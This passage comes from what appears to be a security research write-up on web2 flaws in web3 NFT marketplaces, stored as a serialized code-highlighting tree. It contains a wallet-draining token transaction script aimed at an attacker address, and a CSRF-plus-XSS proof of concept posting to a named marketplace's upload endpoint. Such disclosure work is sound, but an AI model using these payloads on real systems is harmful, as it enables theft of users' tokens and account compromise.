Web3",{"type":21,"tag":153,"props":34634,"children":34635},{"style":160},[34636],{"type":26,"value":189},{"type":21,"tag":153,"props":34638,"children":34639},{"style":192},[34640],{"type":26,"value":34641},"window",{"type":21,"tag":153,"props":34643,"children":34644},{"style":160},[34645],{"type":26,"value":355},{"type":21,"tag":153,"props":34647,"children":34648},{"style":192},[34649],{"type":26,"value":34112},{"type":21,"tag":153,"props":34651,"children":34652},{"style":160},[34653],{"type":26,"value":530},{"type":21,"tag":153,"props":34655,"children":34656},{"class":155,"line":3629},[34657],{"type":21,"tag":153,"props":34658,"children":34659},{"emptyLinePlaceholder":16},[34660],{"type":26,"value":759},{"type":21,"tag":153,"props":34662,"children":34663},{"class":155,"line":26297},[34664,34668,34673,34677,34681,34685,34689,34694,34698,34703,34707,34712,34716,34721],{"type":21,"tag":153,"props":34665,"children":34666},{"style":170},[34667],{"type":26,"value":34242},{"type":21,"tag":153,"props":34669,"children":34670},{"style":192},[34671],{"type":26,"value":34672}," tokenContract",{"type":21,"tag":153,"props":34674,"children":34675},{"style":198},[34676],{"type":26,"value":255},{"type":21,"tag":153,"props":34678,"children":34679},{"style":170},[34680],{"type":26,"value":34627},{"type":21,"tag":153,"props":34682,"children":34683},{"style":192},[34684],{"type":26,"value":34618},{"type":21,"tag":153,"props":34686,"children":34687},{"style":160},[34688],{"type":26,"value":355},{"type":21,"tag":153,"props":34690,"children":34691},{"style":192},[34692],{"type":26,"value":34693},"eth",{"type":21,"tag":153,"props":34695,"children":34696},{"style":160},[34697],{"type":26,"value":355},{"type":21,"tag":153,"props":34699,"children":34700},{"style":181},[34701],{"type":26,"value":34702},"Contract",{"type":21,"tag":153,"props":34704,"children":34705},{"style":160},[34706],{"type":26,"value":189},{"type":21,"tag":153,"props":34708,"children":34709},{"style":192},[34710],{"type":26,"value":34711},"tokenAbi",{"type":21,"tag":153,"props":34713,"children":34714},{"style":160},[34715],{"type":26,"value":1670},{"type":21,"tag":153,"props":34717,"children":34718},{"style":192},[34719],{"type":26,"value":34720},"contractAddress",{"type":21,"tag":153,"props":34722,"children":34723},{"style":160},[34724],{"type":26,"value":530},{"type":21,"tag":153,"props":34726,"children":34727},{"class":155,"line":26330},[34728],{"type":21,"tag":153,"props":34729,"children":34730},{"emptyLinePlaceholder":16},[34731],{"type":26,"value":759},{"type":21,"tag":153,"props":34733,"children":34734},{"class":155,"line":26338},[34735,34739,34744,34748],{"type":21,"tag":153,"props":34736,"children":34737},{"style":170},[34738],{"type":26,"value":34242},{"type":21,"tag":153,"props":34740,"children":34741},{"style":192},[34742],{"type":26,"value":34743}," transactionObject",{"type":21,"tag":153,"props":34745,"children":34746},{"style":198},[34747],{"type":26,"value":255},{"type":21,"tag":153,"props":34749,"children":34750},{"style":160},[34751],{"type":26,"value":236},{"type":21,"tag":153,"props":34753,"children":34754},{"class":155,"line":26346},[34755,34760,34764],{"type":21,"tag":153,"props":34756,"children":34757},{"style":192},[34758],{"type":26,"value":34759},"        from:",{"type":21,"tag":153,"props":34761,"children":34762},{"style":192},[34763],{"type":26,"value":34247},{"type":21,"tag":153,"props":34765,"children":34766},{"style":160},[34767],{"type":26,"value":792},{"type":21,"tag":153,"props":34769,"children":34770},{"class":155,"line":26355},[34771,34776,34780],{"type":21,"tag":153,"props":34772,"children":34773},{"style":192},[34774],{"type":26,"value":34775},"        to:",{"type":21,"tag":153,"props":34777,"children":34778},{"style":192},[34779],{"type":26,"value":34305},{"type":21,"tag":153,"props":34781,"children":34782},{"style":160},[34783],{"type":26,"value":792},{"type":21,"tag":153,"props":34785,"children":34786},{"class":155,"line":26431},[34787,34792,34796,34800],{"type":21,"tag":153,"props":34788,"children":34789},{"style":192},[34790],{"type":26,"value":34791},"        data:",{"type":21,"tag":153,"props":34793,"children":34794},{"style":192},[34795],{"type":26,"value":34672},{"type":21,"tag":153,"props":34797,"children":34798},{"style":160},[34799],{"type":26,"value":355},{"type":21,"tag":153,"props":34801,"children":34802},{"style":192},[34803],{"type":26,"value":34804},"methods\n",{"type":21,"tag":153,"props":34806,"children":34807},{"class":155,"line":26464},[34808,34813,34817,34821,34826,34830,34835,34839,34844,34848,34853,34857,34862,34866,34871],{"type":21,"tag":153,"props":34809,"children":34810},{"style":160},[34811],{"type":26,"value":34812},"          .",{"type":21,"tag":153,"props":34814,"children":34815},{"style":181},[34816],{"type":26,"value":1965},{"type":21,"tag":153,"props":34818,"children":34819},{"style":160},[34820],{"type":26,"value":189},{"type":21,"tag":153,"props":34822,"children":34823},{"style":192},[34824],{"type":26,"value":34825},"attackerAddress",{"type":21,"tag":153,"props":34827,"children":34828},{"style":160},[34829],{"type":26,"value":1670},{"type":21,"tag":153,"props":34831,"children":34832},{"style":192},[34833],{"type":26,"value":34834},"web3",{"type":21,"tag":153,"props":34836,"children":34837},{"style":160},[34838],{"type":26,"value":355},{"type":21,"tag":153,"props":34840,"children":34841},{"style":192},[34842],{"type":26,"value":34843},"utils",{"type":21,"tag":153,"props":34845,"children":34846},{"style":160},[34847],{"type":26,"value":355},{"type":21,"tag":153,"props":34849,"children":34850},{"style":181},[34851],{"type":26,"value":34852},"toWei",{"type":21,"tag":153,"props":34854,"children":34855},{"style":160},[34856],{"type":26,"value":189},{"type":21,"tag":153,"props":34858,"children":34859},{"style":671},[34860],{"type":26,"value":34861},"'100000000'",{"type":21,"tag":153,"props":34863,"children":34864},{"style":160},[34865],{"type":26,"value":1670},{"type":21,"tag":153,"props":34867,"children":34868},{"style":671},[34869],{"type":26,"value":34870},"'ether'",{"type":21,"tag":153,"props":34872,"children":34873},{"style":160},[34874],{"type":26,"value":2006},{"type":21,"tag":153,"props":34876,"children":34877},{"class":155,"line":26472},[34878,34882,34887],{"type":21,"tag":153,"props":34879,"children":34880},{"style":160},[34881],{"type":26,"value":34812},{"type":21,"tag":153,"props":34883,"children":34884},{"style":181},[34885],{"type":26,"value":34886},"encodeABI",{"type":21,"tag":153,"props":34888,"children":34889},{"style":160},[34890],{"type":26,"value":721},{"type":21,"tag":153,"props":34892,"children":34893},{"class":155,"line":26480},[34894],{"type":21,"tag":153,"props":34895,"children":34896},{"style":160},[34897],{"type":26,"value":11645},{"type":21,"tag":153,"props":34899,"children":34900},{"class":155,"line":26517},[34901],{"type":21,"tag":153,"props":34902,"children":34903},{"emptyLinePlaceholder":16},[34904],{"type":26,"value":759},{"type":21,"tag":153,"props":34906,"children":34907},{"class":155,"line":26530},[34908,34913,34917,34921,34925,34930,34934,34939],{"type":21,"tag":153,"props":34909,"children":34910},{"style":192},[34911],{"type":26,"value":34912},"      web3",{"type":21,"tag":153,"props":34914,"children":34915},{"style":160},[34916],{"type":26,"value":355},{"type":21,"tag":153,"props":34918,"children":34919},{"style":192},[34920],{"type":26,"value":34693},{"type":21,"tag":153,"props":34922,"children":34923},{"style":160},[34924],{"type":26,"value":355},{"type":21,"tag":153,"props":34926,"children":34927},{"style":181},[34928],{"type":26,"value":34929},"sendTransaction",{"type":21,"tag":153,"props":34931,"children":34932},{"style":160},[34933],{"type":26,"value":189},{"type":21,"tag":153,"props":34935,"children":34936},{"style":192},[34937],{"type":26,"value":34938},"transactionObject",{"type":21,"tag":153,"props":34940,"children":34941},{"style":160},[34942],{"type":26,"value":530},{"type":21,"tag":153,"props":34944,"children":34945},{"class":155,"line":26543},[34946],{"type":21,"tag":153,"props":34947,"children":34948},{"style":160},[34949],{"type":26,"value":34950},"    });\n",{"type":21,"tag":153,"props":34952,"children":34953},{"class":155,"line":26556},[34954],{"type":21,"tag":153,"props":34955,"children":34956},{"style":160},[34957],{"type":26,"value":8601},{"type":21,"tag":153,"props":34959,"children":34960},{"class":155,"line":26610},[34961],{"type":21,"tag":153,"props":34962,"children":34963},{"style":160},[34964],{"type":26,"value":548},{"type":21,"tag":153,"props":34966,"children":34967},{"class":155,"line":26619},[34968],{"type":21,"tag":153,"props":34969,"children":34970},{"emptyLinePlaceholder":16},[34971],{"type":26,"value":759},{"type":21,"tag":153,"props":34973,"children":34975},{"class":155,"line":34974},51,[34976,34980,34984,34989],{"type":21,"tag":153,"props":34977,"children":34978},{"style":170},[34979],{"type":26,"value":22180},{"type":21,"tag":153,"props":34981,"children":34982},{"style":160},[34983],{"type":26,"value":189},{"type":21,"tag":153,"props":34985,"children":34986},{"style":671},[34987],{"type":26,"value":34988},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":21,"tag":153,"props":34990,"children":34991},{"style":160},[34992],{"type":26,"value":530},{"type":21,"tag":153,"props":34994,"children":34996},{"class":155,"line":34995},52,[34997,35002,35006,35010,35014,35019],{"type":21,"tag":153,"props":34998,"children":34999},{"style":181},[35000],{"type":26,"value":35001},"setTimeout",{"type":21,"tag":153,"props":35003,"children":35004},{"style":160},[35005],{"type":26,"value":189},{"type":21,"tag":153,"props":35007,"children":35008},{"style":192},[35009],{"type":26,"value":34188},{"type":21,"tag":153,"props":35011,"children":35012},{"style":160},[35013],{"type":26,"value":1670},{"type":21,"tag":153,"props":35015,"children":35016},{"style":300},[35017],{"type":26,"value":35018},"1e3",{"type":21,"tag":153,"props":35020,"children":35021},{"style":160},[35022],{"type":26,"value":530},{"type":21,"tag":22,"props":35024,"children":35025},{},[35026,35031],{"type":21,"tag":8055,"props":35027,"children":35028},{},[35029],{"type":26,"value":35030},"CSRF & XSS",{"type":26,"value":35032},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":21,"tag":22,"props":35034,"children":35035},{},[35036,35038,35043],{"type":26,"value":35037},"Our attention was drawn to ",{"type":21,"tag":29,"props":35039,"children":35041},{"href":33975,"rel":35040},[33],[35042],{"type":26,"value":33979},{"type":26,"value":35044},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":21,"tag":22,"props":35046,"children":35047},{},[35048],{"type":21,"tag":3644,"props":35049,"children":35051},{"alt":7,"src":35050},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":21,"tag":22,"props":35053,"children":35054},{},[35055],{"type":26,"value":35056},"and here there is the code:",{"type":21,"tag":143,"props":35058,"children":35060},{"className":34058,"code":35059,"language":34060,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[35061],{"type":21,"tag":78,"props":35062,"children":35063},{"__ignoreMap":7},[35064,35081,35098,35132,35218,35275,35474,35515,35531,35547,35554,35569,35576,35588,35646,35653,35716,35745,35783,35790,35828,35841,35848,35863],{"type":21,"tag":153,"props":35065,"children":35066},{"class":155,"line":156},[35067,35072,35077],{"type":21,"tag":153,"props":35068,"children":35070},{"style":35069},"--shiki-default:#808080",[35071],{"type":26,"value":8537},{"type":21,"tag":153,"props":35073,"children":35074},{"style":170},[35075],{"type":26,"value":35076},"html",{"type":21,"tag":153,"props":35078,"children":35079},{"style":35069},[35080],{"type":26,"value":4308},{"type":21,"tag":153,"props":35082,"children":35083},{"class":155,"line":166},[35084,35089,35094],{"type":21,"tag":153,"props":35085,"children":35086},{"style":35069},[35087],{"type":26,"value":35088},"  \u003C",{"type":21,"tag":153,"props":35090,"children":35091},{"style":170},[35092],{"type":26,"value":35093},"body",{"type":21,"tag":153,"props":35095,"children":35096},{"style":35069},[35097],{"type":26,"value":4308},{"type":21,"tag":153,"props":35099,"children":35100},{"class":155,"line":225},[35101,35105,35110,35114,35119,35124,35128],{"type":21,"tag":153,"props":35102,"children":35103},{"style":35069},[35104],{"type":26,"value":35088},{"type":21,"tag":153,"props":35106,"children":35107},{"style":170},[35108],{"type":26,"value":35109},"script",{"type":21,"tag":153,"props":35111,"children":35112},{"style":35069},[35113],{"type":26,"value":13182},{"type":21,"tag":153,"props":35115,"children":35116},{"style":160},[35117],{"type":26,"value":35118},"history.pushState('', '', '/')",{"type":21,"tag":153,"props":35120,"children":35121},{"style":35069},[35122],{"type":26,"value":35123},"\u003C/",{"type":21,"tag":153,"props":35125,"children":35126},{"style":170},[35127],{"type":26,"value":35109},{"type":21,"tag":153,"props":35129,"children":35130},{"style":35069},[35131],{"type":26,"value":4308},{"type":21,"tag":153,"props":35133,"children":35134},{"class":155,"line":239},[35135,35140,35145,35150,35154,35159,35164,35168,35173,35177,35181,35186,35191,35195,35200,35205,35209,35214],{"type":21,"tag":153,"props":35136,"children":35137},{"style":35069},[35138],{"type":26,"value":35139},"    \u003C",{"type":21,"tag":153,"props":35141,"children":35142},{"style":170},[35143],{"type":26,"value":35144},"form",{"type":21,"tag":153,"props":35146,"children":35147},{"style":192},[35148],{"type":26,"value":35149}," id",{"type":21,"tag":153,"props":35151,"children":35152},{"style":198},[35153],{"type":26,"value":2367},{"type":21,"tag":153,"props":35155,"children":35156},{"style":671},[35157],{"type":26,"value":35158},"\"form123\"",{"type":21,"tag":153,"props":35160,"children":35161},{"style":192},[35162],{"type":26,"value":35163}," action",{"type":21,"tag":153,"props":35165,"children":35166},{"style":198},[35167],{"type":26,"value":2367},{"type":21,"tag":153,"props":35169,"children":35170},{"style":671},[35171],{"type":26,"value":35172},"\"https://stashh.io/upload_asset\"",{"type":21,"tag":153,"props":35174,"children":35175},{"style":192},[35176],{"type":26,"value":19808},{"type":21,"tag":153,"props":35178,"children":35179},{"style":198},[35180],{"type":26,"value":2367},{"type":21,"tag":153,"props":35182,"children":35183},{"style":671},[35184],{"type":26,"value":35185},"\"POST\"",{"type":21,"tag":153,"props":35187,"children":35188},{"style":192},[35189],{"type":26,"value":35190}," enctype",{"type":21,"tag":153,"props":35192,"children":35193},{"style":198},[35194],{"type":26,"value":2367},{"type":21,"tag":153,"props":35196,"children":35197},{"style":671},[35198],{"type":26,"value":35199},"\"multipart/form-data\"",{"type":21,"tag":153,"props":35201,"children":35202},{"style":192},[35203],{"type":26,"value":35204}," value",{"type":21,"tag":153,"props":35206,"children":35207},{"style":198},[35208],{"type":26,"value":2367},{"type":21,"tag":153,"props":35210,"children":35211},{"style":671},[35212],{"type":26,"value":35213},"\"asd\"",{"type":21,"tag":153,"props":35215,"children":35216},{"style":35069},[35217],{"type":26,"value":4308},{"type":21,"tag":153,"props":35219,"children":35220},{"class":155,"line":382},[35221,35226,35230,35235,35239,35244,35249,35253,35258,35262,35266,35271],{"type":21,"tag":153,"props":35222,"children":35223},{"style":35069},[35224],{"type":26,"value":35225},"     \u003C",{"type":21,"tag":153,"props":35227,"children":35228},{"style":170},[35229],{"type":26,"value":11093},{"type":21,"tag":153,"props":35231,"children":35232},{"style":192},[35233],{"type":26,"value":35234}," type",{"type":21,"tag":153,"props":35236,"children":35237},{"style":198},[35238],{"type":26,"value":2367},{"type":21,"tag":153,"props":35240,"children":35241},{"style":671},[35242],{"type":26,"value":35243},"\"file\"",{"type":21,"tag":153,"props":35245,"children":35246},{"style":192},[35247],{"type":26,"value":35248}," name",{"type":21,"tag":153,"props":35250,"children":35251},{"style":198},[35252],{"type":26,"value":2367},{"type":21,"tag":153,"props":35254,"children":35255},{"style":671},[35256],{"type":26,"value":35257},"\"data\"",{"type":21,"tag":153,"props":35259,"children":35260},{"style":192},[35261],{"type":26,"value":35149},{"type":21,"tag":153,"props":35263,"children":35264},{"style":198},[35265],{"type":26,"value":2367},{"type":21,"tag":153,"props":35267,"children":35268},{"style":671},[35269],{"type":26,"value":35270},"\"file123\"",{"type":21,"tag":153,"props":35272,"children":35273},{"style":35069},[35274],{"type":26,"value":4308},{"type":21,"tag":153,"props":35276,"children":35277},{"class":155,"line":501},[35278,35283,35287,35291,35295,35300,35304,35308,35313,35317,35321,35325,35330,35335,35340,35345,35350,35354,35359,35364,35369,35373,35378,35383,35387,35392,35397,35402,35407,35412,35417,35422,35426,35431,35436,35441,35446,35451,35455,35460,35465,35469],{"type":21,"tag":153,"props":35279,"children":35280},{"style":35069},[35281],{"type":26,"value":35282},"      \u003C",{"type":21,"tag":153,"props":35284,"children":35285},{"style":170},[35286],{"type":26,"value":11093},{"type":21,"tag":153,"props":35288,"children":35289},{"style":192},[35290],{"type":26,"value":35234},{"type":21,"tag":153,"props":35292,"children":35293},{"style":198},[35294],{"type":26,"value":2367},{"type":21,"tag":153,"props":35296,"children":35297},{"style":671},[35298],{"type":26,"value":35299},"\"hidden\"",{"type":21,"tag":153,"props":35301,"children":35302},{"style":192},[35303],{"type":26,"value":35248},{"type":21,"tag":153,"props":35305,"children":35306},{"style":198},[35307],{"type":26,"value":2367},{"type":21,"tag":153,"props":35309,"children":35310},{"style":671},[35311],{"type":26,"value":35312},"\"config\"",{"type":21,"tag":153,"props":35314,"children":35315},{"style":192},[35316],{"type":26,"value":35204},{"type":21,"tag":153,"props":35318,"children":35319},{"style":198},[35320],{"type":26,"value":2367},{"type":21,"tag":153,"props":35322,"children":35323},{"style":671},[35324],{"type":26,"value":22756},{"type":21,"tag":153,"props":35326,"children":35327},{"style":170},[35328],{"type":26,"value":35329},"{"",{"type":21,"tag":153,"props":35331,"children":35332},{"style":671},[35333],{"type":26,"value":35334},"address",{"type":21,"tag":153,"props":35336,"children":35337},{"style":170},[35338],{"type":26,"value":35339},"":"",{"type":21,"tag":153,"props":35341,"children":35342},{"style":671},[35343],{"type":26,"value":35344},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":21,"tag":153,"props":35346,"children":35347},{"style":170},[35348],{"type":26,"value":35349},"<",{"type":21,"tag":153,"props":35351,"children":35352},{"style":671},[35353],{"type":26,"value":3644},{"type":21,"tag":153,"props":35355,"children":35356},{"style":170},[35357],{"type":26,"value":35358},"/",{"type":21,"tag":153,"props":35360,"children":35361},{"style":671},[35362],{"type":26,"value":35363},"src",{"type":21,"tag":153,"props":35365,"children":35366},{"style":170},[35367],{"type":26,"value":35368},"=",{"type":21,"tag":153,"props":35370,"children":35371},{"style":671},[35372],{"type":26,"value":21972},{"type":21,"tag":153,"props":35374,"children":35375},{"style":170},[35376],{"type":26,"value":35377}," ",{"type":21,"tag":153,"props":35379,"children":35380},{"style":671},[35381],{"type":26,"value":35382},"onerror",{"type":21,"tag":153,"props":35384,"children":35385},{"style":170},[35386],{"type":26,"value":35368},{"type":21,"tag":153,"props":35388,"children":35389},{"style":671},[35390],{"type":26,"value":35391},"alert",{"type":21,"tag":153,"props":35393,"children":35394},{"style":170},[35395],{"type":26,"value":35396},"(",{"type":21,"tag":153,"props":35398,"children":35399},{"style":671},[35400],{"type":26,"value":35401},"document",{"type":21,"tag":153,"props":35403,"children":35404},{"style":170},[35405],{"type":26,"value":35406},".",{"type":21,"tag":153,"props":35408,"children":35409},{"style":671},[35410],{"type":26,"value":35411},"domain",{"type":21,"tag":153,"props":35413,"children":35414},{"style":170},[35415],{"type":26,"value":35416},")>","",{"type":21,"tag":153,"props":35418,"children":35419},{"style":671},[35420],{"type":26,"value":35421},"to",{"type":21,"tag":153,"props":35423,"children":35424},{"style":170},[35425],{"type":26,"value":35339},{"type":21,"tag":153,"props":35427,"children":35428},{"style":671},[35429],{"type":26,"value":35430},"profile",{"type":21,"tag":153,"props":35432,"children":35433},{"style":170},[35434],{"type":26,"value":35435},"-",{"type":21,"tag":153,"props":35437,"children":35438},{"style":671},[35439],{"type":26,"value":35440},"assets",{"type":21,"tag":153,"props":35442,"children":35443},{"style":170},[35444],{"type":26,"value":35445},"","",{"type":21,"tag":153,"props":35447,"children":35448},{"style":671},[35449],{"type":26,"value":35450},"type",{"type":21,"tag":153,"props":35452,"children":35453},{"style":170},[35454],{"type":26,"value":35339},{"type":21,"tag":153,"props":35456,"children":35457},{"style":671},[35458],{"type":26,"value":35459},"icon",{"type":21,"tag":153,"props":35461,"children":35462},{"style":170},[35463],{"type":26,"value":35464},""}",{"type":21,"tag":153,"props":35466,"children":35467},{"style":671},[35468],{"type":26,"value":22756},{"type":21,"tag":153,"props":35470,"children":35471},{"style":35069},[35472],{"type":26,"value":35473}," />\n",{"type":21,"tag":153,"props":35475,"children":35476},{"class":155,"line":533},[35477,35481,35485,35489,35493,35498,35502,35506,35511],{"type":21,"tag":153,"props":35478,"children":35479},{"style":35069},[35480],{"type":26,"value":35282},{"type":21,"tag":153,"props":35482,"children":35483},{"style":170},[35484],{"type":26,"value":11093},{"type":21,"tag":153,"props":35486,"children":35487},{"style":192},[35488],{"type":26,"value":35234},{"type":21,"tag":153,"props":35490,"children":35491},{"style":198},[35492],{"type":26,"value":2367},{"type":21,"tag":153,"props":35494,"children":35495},{"style":671},[35496],{"type":26,"value":35497},"\"submit\"",{"type":21,"tag":153,"props":35499,"children":35500},{"style":192},[35501],{"type":26,"value":35204},{"type":21,"tag":153,"props":35503,"children":35504},{"style":198},[35505],{"type":26,"value":2367},{"type":21,"tag":153,"props":35507,"children":35508},{"style":671},[35509],{"type":26,"value":35510},"\"Submit request\"",{"type":21,"tag":153,"props":35512,"children":35513},{"style":35069},[35514],{"type":26,"value":35473},{"type":21,"tag":153,"props":35516,"children":35517},{"class":155,"line":542},[35518,35523,35527],{"type":21,"tag":153,"props":35519,"children":35520},{"style":35069},[35521],{"type":26,"value":35522},"    \u003C/",{"type":21,"tag":153,"props":35524,"children":35525},{"style":170},[35526],{"type":26,"value":35144},{"type":21,"tag":153,"props":35528,"children":35529},{"style":35069},[35530],{"type":26,"value":4308},{"type":21,"tag":153,"props":35532,"children":35533},{"class":155,"line":762},[35534,35539,35543],{"type":21,"tag":153,"props":35535,"children":35536},{"style":35069},[35537],{"type":26,"value":35538},"  \u003C/",{"type":21,"tag":153,"props":35540,"children":35541},{"style":170},[35542],{"type":26,"value":35093},{"type":21,"tag":153,"props":35544,"children":35545},{"style":35069},[35546],{"type":26,"value":4308},{"type":21,"tag":153,"props":35548,"children":35549},{"class":155,"line":776},[35550],{"type":21,"tag":153,"props":35551,"children":35552},{"emptyLinePlaceholder":16},[35553],{"type":26,"value":759},{"type":21,"tag":153,"props":35555,"children":35556},{"class":155,"line":795},[35557,35561,35565],{"type":21,"tag":153,"props":35558,"children":35559},{"style":35069},[35560],{"type":26,"value":35088},{"type":21,"tag":153,"props":35562,"children":35563},{"style":170},[35564],{"type":26,"value":35109},{"type":21,"tag":153,"props":35566,"children":35567},{"style":35069},[35568],{"type":26,"value":4308},{"type":21,"tag":153,"props":35570,"children":35571},{"class":155,"line":808},[35572],{"type":21,"tag":153,"props":35573,"children":35574},{"emptyLinePlaceholder":16},[35575],{"type":26,"value":759},{"type":21,"tag":153,"props":35577,"children":35578},{"class":155,"line":820},[35579,35584],{"type":21,"tag":153,"props":35580,"children":35581},{"style":160},[35582],{"type":26,"value":35583},"    (async ()=>",{"type":21,"tag":153,"props":35585,"children":35586},{"style":170},[35587],{"type":26,"value":13601},{"type":21,"tag":153,"props":35589,"children":35590},{"class":155,"line":842},[35591,35596,35601,35606,35610,35614,35618,35623,35627,35632,35637,35642],{"type":21,"tag":153,"props":35592,"children":35593},{"style":192},[35594],{"type":26,"value":35595},"        const",{"type":21,"tag":153,"props":35597,"children":35598},{"style":192},[35599],{"type":26,"value":35600}," blob",{"type":21,"tag":153,"props":35602,"children":35603},{"style":198},[35604],{"type":26,"value":35605}," = ",{"type":21,"tag":153,"props":35607,"children":35608},{"style":1751},[35609],{"type":26,"value":1754},{"type":21,"tag":153,"props":35611,"children":35612},{"style":198},[35613],{"type":26,"value":5820},{"type":21,"tag":153,"props":35615,"children":35616},{"style":1751},[35617],{"type":26,"value":1754},{"type":21,"tag":153,"props":35619,"children":35620},{"style":181},[35621],{"type":26,"value":35622}," fetch",{"type":21,"tag":153,"props":35624,"children":35625},{"style":198},[35626],{"type":26,"value":189},{"type":21,"tag":153,"props":35628,"children":35629},{"style":671},[35630],{"type":26,"value":35631},"\"/sapo.png\"",{"type":21,"tag":153,"props":35633,"children":35634},{"style":198},[35635],{"type":26,"value":35636},")).",{"type":21,"tag":153,"props":35638,"children":35639},{"style":181},[35640],{"type":26,"value":35641},"blob",{"type":21,"tag":153,"props":35643,"children":35644},{"style":198},[35645],{"type":26,"value":10462},{"type":21,"tag":153,"props":35647,"children":35648},{"class":155,"line":3204},[35649],{"type":21,"tag":153,"props":35650,"children":35651},{"emptyLinePlaceholder":16},[35652],{"type":26,"value":759},{"type":21,"tag":153,"props":35654,"children":35655},{"class":155,"line":3230},[35656,35660,35665,35669,35673,35678,35683,35687,35691,35696,35701,35706,35711],{"type":21,"tag":153,"props":35657,"children":35658},{"style":192},[35659],{"type":26,"value":245},{"type":21,"tag":153,"props":35661,"children":35662},{"style":192},[35663],{"type":26,"value":35664}," f",{"type":21,"tag":153,"props":35666,"children":35667},{"style":198},[35668],{"type":26,"value":35605},{"type":21,"tag":153,"props":35670,"children":35671},{"style":170},[35672],{"type":26,"value":1804},{"type":21,"tag":153,"props":35674,"children":35675},{"style":181},[35676],{"type":26,"value":35677}," File",{"type":21,"tag":153,"props":35679,"children":35680},{"style":198},[35681],{"type":26,"value":35682},"([",{"type":21,"tag":153,"props":35684,"children":35685},{"style":192},[35686],{"type":26,"value":35641},{"type":21,"tag":153,"props":35688,"children":35689},{"style":198},[35690],{"type":26,"value":308},{"type":21,"tag":153,"props":35692,"children":35693},{"style":671},[35694],{"type":26,"value":35695},"'sapo.png'",{"type":21,"tag":153,"props":35697,"children":35698},{"style":198},[35699],{"type":26,"value":35700},", {",{"type":21,"tag":153,"props":35702,"children":35703},{"style":192},[35704],{"type":26,"value":35705},"type:",{"type":21,"tag":153,"props":35707,"children":35708},{"style":671},[35709],{"type":26,"value":35710}," 'image/png'",{"type":21,"tag":153,"props":35712,"children":35713},{"style":198},[35714],{"type":26,"value":35715},"})\n",{"type":21,"tag":153,"props":35717,"children":35718},{"class":155,"line":3239},[35719,35723,35728,35732,35736,35741],{"type":21,"tag":153,"props":35720,"children":35721},{"style":192},[35722],{"type":26,"value":35595},{"type":21,"tag":153,"props":35724,"children":35725},{"style":192},[35726],{"type":26,"value":35727}," dataTransfer",{"type":21,"tag":153,"props":35729,"children":35730},{"style":198},[35731],{"type":26,"value":35605},{"type":21,"tag":153,"props":35733,"children":35734},{"style":170},[35735],{"type":26,"value":1804},{"type":21,"tag":153,"props":35737,"children":35738},{"style":181},[35739],{"type":26,"value":35740}," DataTransfer",{"type":21,"tag":153,"props":35742,"children":35743},{"style":198},[35744],{"type":26,"value":839},{"type":21,"tag":153,"props":35746,"children":35747},{"class":155,"line":3253},[35748,35753,35757,35762,35766,35770,35774,35779],{"type":21,"tag":153,"props":35749,"children":35750},{"style":192},[35751],{"type":26,"value":35752},"        dataTransfer",{"type":21,"tag":153,"props":35754,"children":35755},{"style":198},[35756],{"type":26,"value":355},{"type":21,"tag":153,"props":35758,"children":35759},{"style":192},[35760],{"type":26,"value":35761},"items",{"type":21,"tag":153,"props":35763,"children":35764},{"style":198},[35765],{"type":26,"value":355},{"type":21,"tag":153,"props":35767,"children":35768},{"style":181},[35769],{"type":26,"value":12360},{"type":21,"tag":153,"props":35771,"children":35772},{"style":198},[35773],{"type":26,"value":189},{"type":21,"tag":153,"props":35775,"children":35776},{"style":192},[35777],{"type":26,"value":35778},"f",{"type":21,"tag":153,"props":35780,"children":35781},{"style":198},[35782],{"type":26,"value":530},{"type":21,"tag":153,"props":35784,"children":35785},{"class":155,"line":3301},[35786],{"type":21,"tag":153,"props":35787,"children":35788},{"emptyLinePlaceholder":16},[35789],{"type":26,"value":759},{"type":21,"tag":153,"props":35791,"children":35792},{"class":155,"line":3346},[35793,35798,35802,35807,35811,35816,35820,35824],{"type":21,"tag":153,"props":35794,"children":35795},{"style":192},[35796],{"type":26,"value":35797},"        file123",{"type":21,"tag":153,"props":35799,"children":35800},{"style":198},[35801],{"type":26,"value":355},{"type":21,"tag":153,"props":35803,"children":35804},{"style":192},[35805],{"type":26,"value":35806},"files",{"type":21,"tag":153,"props":35808,"children":35809},{"style":198},[35810],{"type":26,"value":35605},{"type":21,"tag":153,"props":35812,"children":35813},{"style":192},[35814],{"type":26,"value":35815},"dataTransfer",{"type":21,"tag":153,"props":35817,"children":35818},{"style":198},[35819],{"type":26,"value":355},{"type":21,"tag":153,"props":35821,"children":35822},{"style":192},[35823],{"type":26,"value":35806},{"type":21,"tag":153,"props":35825,"children":35826},{"style":198},[35827],{"type":26,"value":1759},{"type":21,"tag":153,"props":35829,"children":35830},{"class":155,"line":3355},[35831,35836],{"type":21,"tag":153,"props":35832,"children":35833},{"style":170},[35834],{"type":26,"value":35835},"    